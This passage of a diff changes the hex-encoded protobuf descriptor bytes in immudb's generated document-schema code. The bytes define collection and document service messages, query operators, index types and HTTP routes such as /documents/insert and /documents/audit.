0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, - 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, + 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, - 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, - 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, - 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, - 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, - 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, - 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, - 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, - 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, - 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, + 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, + 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, + 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, + 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, + 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, + 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, + 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, + 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x61, 0x75, 